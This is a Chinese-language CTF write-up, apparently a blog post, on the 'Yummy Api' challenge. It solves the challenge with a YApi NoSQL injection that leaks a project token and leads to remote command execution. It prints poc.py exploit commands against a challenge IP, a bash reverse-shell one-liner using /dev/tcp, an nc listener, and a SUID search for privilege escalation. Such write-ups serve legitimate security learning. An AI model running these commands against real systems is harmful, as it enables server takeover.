淮安易云科技有限公司
发布于

【RWCTF体验赛Writeup】Yummy Api解题思路

题目分析

打开题目给的地址,发现是yapi随即页面下拉到最下方看版本,发现该版本存在历史漏洞,根本版本搜索相应存在的历史漏洞

解题思路

思路其实很简单,依托搜索引擎大法,第一步利用用户注册漏洞发现行不通,因为关闭用户注册了,之后又进行了搜索分析发现还存在另一个可利用漏洞:YApi NoSQL注入导致远程命令执行漏洞,通过此漏洞即可获取服务器权限进而读取flag

涉及知识点

YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

解题方法

通过YApi NoSQL注入导致远程命令执行漏洞阅读说明,使用同目录下的poc.py脚本进行对站点漏洞利用反弹shell
步骤如下

  1. 在外网服务器nc -lvvp 监听一个反弹端口

  2. python3 poc.py --debug one4all http://47.98.161.119/

    利用成功

  3. 通过图片最小脚本给的建议利用方式进一步获取服务器权限:
    python poc.py rce -u http://47.98.161.119/ -t 8fa743801266b2391d16 -o 11 --pid 66 --cid 66 --command="id"
    生成一个反弹shell的命令替换id处的执行命令
    python poc.py rce -u http://47.98.161.119/ -t 8fa743801266b2391d16 -o 11 --pid 66 --cid 66 --command="bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"

  4. 执行命令去外网服务器命令窗口看结果 成功获得权限

  5. 使用cd /命令切换根目录发现flag文件,直接./flag发现存在权限问题,又发现一个readflag文件,通过./readflag 成功读取flag(这里其实readflag如果不在根目录,常规思路是需要看看是否存在suid提权去提权读取flag的,通过命令find / -perm -u=s -type f 2>/dev/null 将尝试查找具有root权限的SUID的文件)

浏览 (378)
点赞 (6)
收藏
打赏
评论